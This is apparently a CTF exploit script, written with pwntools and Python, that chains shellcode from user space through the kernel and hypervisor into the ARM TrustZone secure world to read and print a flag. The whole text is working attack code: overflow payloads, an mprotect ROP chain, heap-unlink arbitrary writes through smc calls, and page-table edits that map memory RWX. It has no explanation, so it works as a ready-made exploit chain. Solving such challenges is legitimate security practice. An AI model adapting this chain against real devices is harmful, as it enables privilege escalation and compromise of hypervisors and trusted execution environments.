payload = b'A' * 0b101 + b'\x00'
payload += shellcode
p.sendline(payload)
sla(b'cmd> ', b'1')
sla(b'index: ', str(0x1000))
payload = b''
payload += b'A'*0b101 + b'\x00'
payload += b'A'*(0x100 - len(payload))
payload += p64(0xdeadbeef)
payload += p64(e.sym.mprotect)
payload += p64(sc_st)
sla(b'key: ', payload)
sla(b'cmd> ',b'2')
sla(b'index: ', str(1))
sleep(0.1)
read_flag = [1, 252, 59, 213, 1, 0, 0, 185, 33, 252, 59, 213, 1, 4, 0, 185, 65, 252, 59, 213, 1, 8, 0, 185, 97, 252, 59, 213, 1, 12, 0, 185, 129, 252, 59, 213, 1, 16, 0, 185, 161, 252, 59, 213, 1, 20, 0, 185, 193, 252, 59, 213, 1, 24, 0, 185, 225, 252, 59, 213, 1, 28, 0, 185]
SEL3_shellcode = asm('''\
mov x0, sp
''')
SEL3_shellcode += bytes(read_flag)
SEL3_shellcode += asm('''\
ldr x11, =0x09000000
mov x8, #0
loop_print_flag_sel3:
add x1, sp, x8 // dst
ldrb w0, [x1]
strb w0, [x11]
add x8, x8, #1
cmp x8, #32
bne loop_print_flag_sel3
''')
# 0x000000000e002210 00000fb0
WORLD_SHARED_MEM_VA = 0x023fe000
WORLD_SHARED_MEM_PA = 0x40033000
SEL1_shellcode = b''
SEL1_shellcode += asm(f'''\
ldr r0, ={WORLD_SHARED_MEM_VA}
add r10, r0, #0x20c
mov r9, #0
ldr r2, =0x100de8 // 0xe499000 + 0xde8
loop:
add r0, r10, r9
add r1, r2, r9
ldrb r0, [r0]
strb r0, [r1]
add r9, r9, #1
cmp r9, #{len(SEL3_shellcode)}
bne loop
// mapping
ldr r0, =0x8005008
ldr r1, =0xe00364f
str r1, [r0]
mov r0, #0x1000
ldr r1, =0xe499783
str r1, [r0]
// ctx
ldr r0, =0x8005008
ldr r1, =0xe00264f
str r1, [r0] // tlb is already cached by the softmmu
mcr p15, 0, r0, c8, c7, 0
dsb sy
isb
mov r0, #0x1328
ldr r1, =0x800002cc
str r1, [r0]
mov r0, #0x1330
mov r1, #0
str r1, [r0]
''',arch='arm') # dummy code is added.
# SEL1_shellcode += b'\xfe\xff\xff\xea' # loop for debugging
SEL1_shellcode += asm('''\
mov r0, 0x8300
lsl r0, r0, #16
orr r0, r0, #0x7
''',arch='arm') # separation needed.
SEL1_shellcode += bytes.fromhex('70 00 60 e1')
TCI_Data_addr = 0x4010225c
SEL0_shellcode = b"\x00\xf0\x08\xe8" # thumb switch
SEL0_shellcode += b'A'*0x10
SEL0_shellcode += asm(f'''\
mov r10, #{((WORLD_SHARED_MEM_VA)>>16)&0xffff}
lsl r10, r10, #16
orr r10, r10, #{(WORLD_SHARED_MEM_VA)&0xffff}
add r10, r10, #0x10c
mov r0, #0xb
mov r1, r10
svc 0x1
svc 0x0 // return to normal world
''',arch='arm')
SEL0_shellcode += b'A' * (0x100 - len(SEL0_shellcode))
SEL0_shellcode += SEL1_shellcode
assert len(SEL0_shellcode) <= 0x200
SEL0_shellcode += b'A' * (0x200 - len(SEL0_shellcode))
SEL0_shellcode += SEL3_shellcode
SEL0_shellcode_src = 0x40035500
UART= 0x0000000009000000
TCI_Data = b''
TCI_Data += p32(0xdeadbeef) * 8 + p32(0xdeadbeef) * 2
TCI_Data += p32(0) + p32(0x31) + p32(0x00000000e4990b0-8) + p32(0x0) + p32(0) + p32(0) + b'A' * 0x18# chunk 1
TCI_Data += p32(0) + p32(0x31) + p32(0x1670+8-0x10) + p32(0x0100060-0x8) + b'B' * 0x14 # chunk 2
EL2_shellcode = asm(f'''\
movz x11, #{((UART)>>48)&0xffff}, lsl #48
movk x11, #{((UART)>>32)&0xffff}, lsl #32
movk x11, #{((UART)>>16)&0xffff}, lsl #16
movk x11, #{(UART)&0xffff}, lsl #0
mov x0, sp
''') + bytes(read_flag) + asm(f'''\
mov x9, #0
loop:
add x0, sp, x9
ldrb w0, [x0]
strb w0, [x11]
add x9, x9, #1
cmp x9, #32
bne loop
movk x10, #{((WORLD_SHARED_MEM_VA)>>16)&0xffff}, lsl #16
movk x10, #{(WORLD_SHARED_MEM_VA)&0xffff}, lsl #0
movz x9, #{((WORLD_SHARED_MEM_PA)>>48)&0xffff}, lsl #48
movk x9, #{((WORLD_SHARED_MEM_PA)>>32)&0xffff}, lsl #32
movk x9, #{((WORLD_SHARED_MEM_PA)>>16)&0xffff}, lsl #16
movk x9, #{(WORLD_SHARED_MEM_PA)&0xffff}, lsl #0
movz x20, #{((SEL0_shellcode_src)>>48)&0xffff}, lsl #48
movk x20, #{((SEL0_shellcode_src)>>32)&0xffff}, lsl #32
movk x20, #{((SEL0_shellcode_src)>>16)&0xffff}, lsl #16
movk x20, #{(SEL0_shellcode_src)&0xffff}, lsl #0
add x21, x9, #0xc // shellcode_dst, TCI buf payload
mov x25, #0
alloc_loop:
// alloc(i, 0x20, b'')
mov w2, #3
str w2, [x9] // cmd
mov w2, w25
str w2, [x9, #4] // idx
movz w2, #0x0000, lsl 16
movk w2, #0x20, lsl 0
str w2, [x9, #8] // sz
movz x0, #0x8300, lsl 16
movk x0, #0x06, lsl 0
mov x1, x10
smc #0x1337
add x25, x25, #1
cmp x25, #{3}
bne alloc_loop
mov x25, #2
free_loop:
// free 2, 1, 0
mov w2, #3
str w2, [x9] // cmd
mov w2, w25
str w2, [x9, #4] // idx
movz w2, #0x0000, lsl 16
movk w2, #0x40, lsl 0
str w2, [x9, #8] // sz
movz x0, #0x8300, lsl 16
movk x0, #0x06, lsl 0
mov x1, x10
smc #0x1337
cmp x25, #{0}
sub x25, x25, #1
bne free_loop
//trigger the vuln
mov w2, #3
str w2, [x9] // cmd
mov w2, #0
str w2, [x9, #4] // idx
movz w2, #0xffff, lsl 16
movk w2, #0xffff, lsl 0
str w2, [x9, #8] // sz
movz x22, #{((TCI_Data_addr)>>48)&0xffff}, lsl #48
movk x22, #{((TCI_Data_addr)>>32)&0xffff}, lsl #32
movk x22, #{((TCI_Data_addr)>>16)&0xffff}, lsl #16
movk x22, #{(TCI_Data_addr)&0xffff}, lsl #0
mov x8, #0x0
loop_tci:
add x2, x21, x8 // dst
add x1, x22, x8 // src
ldrb w0, [x1]
strb w0, [x2]
add x8, x8, #1
cmp x8, #{len(TCI_Data)}
bne loop_tci
movz x0, #0x8300, lsl 16
movk x0, #0x06, lsl 0
mov x1, x10
smc #0x1337
// unlink AAW trigger
mov w2, #3
str w2, [x9] // cmd
mov w2, #4
str w2, [x9, #4] // idx
movz w2, #0x0000, lsl 16
movk w2, #0x20, lsl 0
str w2, [x9, #8] // sz
movz w2, 0x0010, lsl #16
movk w2, 0x0050, lsl #0
str w2, [x9, #16] // data + 4
str w2, [x9, #20] // this is needed to get out of the freelist loop.
movz x0, #0x8300, lsl 16
movk x0, #0x06, lsl 0
mov x1, x10
smc #0x1337
// get .text
mov w2, #3
str w2, [x9] // cmd
mov w2, #5
str w2, [x9, #4] // idx
movz w2, #0x0000, lsl 16
movk w2, #0x1900, lsl 0
str w2, [x9, #8] // sz
mov x8, #0x0
loop_copy:
add x2, x21, x8
add x1, x20, x8
ldrb w0, [x1]
strb w0, [x2]
add x8, x8, #1
cmp x8, #{len(SEL0_shellcode)}
bne loop_copy
movz x0, #0x8300, lsl 16
movk x0, #0x06, lsl 0
mov x1, x10
smc #0x1337
movz x0, #0x8300, lsl 16
movk x0, #0x05, lsl 0
ldr x1, =0x2000000
mov x2, #0x100
smc #0x1337
mov x8, #0x0
''')
EL2_shellcode += b'A' * (0x250- len(EL2_shellcode)) + TCI_Data
EL2_shellcode = b'\x41'*0xc+EL2_shellcode
entry = 0xffffffffc001e000 + 0xf0
addr = 0xffffffffc00091b8
IPA = 0x2400 | (0b11<<6) # s2ap 11
DESC = 3 | 0x100000
EL2_TEXT = 0x00007ffeffffa000
entry_user = 0xffffffffc0028000 + 0xfd0
user_val = 0x2403 | 64 | 0x0020000000000000# ap 01
EL2_shellcode_addr = 0x7ffeffffc100
EL1_shellcode = asm(f'nop')*(0x400//4)
EL1_shellcode += asm(f'''\
mov x0, #1
movz x1, #{((IPA)>>48)&0xffff}, lsl #48
movk x1, #{((IPA)>>32)&0xffff}, lsl #32
movk x1, #{((IPA)>>16)&0xffff}, lsl #16
movk x1, #{(IPA)&0xffff}, lsl #0
movz x2, #{((DESC)>>48)&0xffff}, lsl #48
movk x2, #{((DESC)>>32)&0xffff}, lsl #32
movk x2, #{((DESC)>>16)&0xffff}, lsl #16
movk x2, #{(DESC)&0xffff}, lsl #0
hvc #0x1337 // PA 0x0000000040102000 RWX
movz x11, #{((entry_user)>>48)&0xffff}, lsl #48
movk x11, #{((entry_user)>>32)&0xffff}, lsl #32
movk x11, #{((entry_user)>>16)&0xffff}, lsl #16
movk x11, #{(entry_user)&0xffff}, lsl #0
movz x10, #{((user_val)>>48)&0xffff}, lsl #48
movk x10, #{((user_val)>>32)&0xffff}, lsl #32
movk x10, #{((user_val)>>16)&0xffff}, lsl #16
movk x10, #{(user_val)&0xffff}, lsl #0
str x10, [x11] // IPA 0x0000000000002000 RW
movz x11, #{((EL2_TEXT)>>48)&0xffff}, lsl #48
movk x11, #{((EL2_TEXT)>>32)&0xffff}, lsl #32
movk x11, #{((EL2_TEXT)>>16)&0xffff}, lsl #16
movk x11, #{(EL2_TEXT)&0xffff}, lsl #0
movz x12, #{((EL2_shellcode_addr)>>48)&0xffff}, lsl #48
movk x12, #{((EL2_shellcode_addr)>>32)&0xffff}, lsl #32
movk x12, #{((EL2_shellcode_addr)>>16)&0xffff}, lsl #16
movk x12, #{(EL2_shellcode_addr)&0xffff}, lsl #0
mov x9, #0x0
loop:
add x2, x11, x9
add x1, x12, x9
ldrb w0, [x1]
strb w0, [x2]
add w9, w9, #1
cmp x9, #{len(EL2_shellcode)}
bne loop
hvc #0x1337 // trigger!!!
''')
cnt = len(EL1_shellcode)
val = 0x0040000000036483
shellcode = f'''\
mov x5, #-1
mov w4, #0x0
mov w3, #0x0
mov w2, #3
mov x1, #0x1000
mov x0, #0x0
mov x8, #0xde
svc #0x1337
mov x11, x0 // IPA 0x36000
mov x9, #0x0
loop:
add x1, x11, x9
mov x8, #0x3f
mov x0, #0
mov x2, #0x1
svc #0x1337
add w9, w9, #1
cmp x9, #{cnt}
bne loop
mov x0, x11
mov x1, #0x1000
mov x2, #5 // r-x
mov x8, #0xe2
svc #0x1337
mov x5, #-1
mov w4, #0x0
mov w3, #0x0
mov w2, #3
mov x1, #0x1000
mov x0, #0x0
mov x8, #0xde
svc #0x1337 // IPA 0x37000
movz x11, #{((entry)>>48)&0xffff}, lsl #48
movk x11, #{((entry)>>32)&0xffff}, lsl #32
movk x11, #{((entry)>>16)&0xffff}, lsl #16
movk x11, #{(entry)&0xffff}, lsl #0
mov x0, #0
mov x1, x11
mov x8, #0x3f
mov x2, #1
svc #0x1337 // now we can modify the kernel page table
movz x10, #{((val)>>48)&0xffff}, lsl #48
movk x10, #{((val)>>32)&0xffff}, lsl #32
movk x10, #{((val)>>16)&0xffff}, lsl #16
movk x10, #{(val)&0xffff}, lsl #0
sub x11, x11, #0xa0
str x10, [x11]
mov x8, #0x123
svc #0x1337
'''
payload = bytes(ks.asm(shellcode)[0])
payload += b'\x41' * (0x100 - len(payload))
payload += EL2_shellcode
assert len(payload) <= 0x500
payload += b'\x41' * (0x500 - len(payload))
payload += SEL0_shellcode
payload += b'\x41' * (0x1000 - len(payload))
p.send(payload)
sleep(0.1)
p.send(EL1_shellcode)
sleep(0.1)
p.send(b'\x43') # AP 01 -> EL0 RW EL1 RW
sleep(0.1)
p.interactive()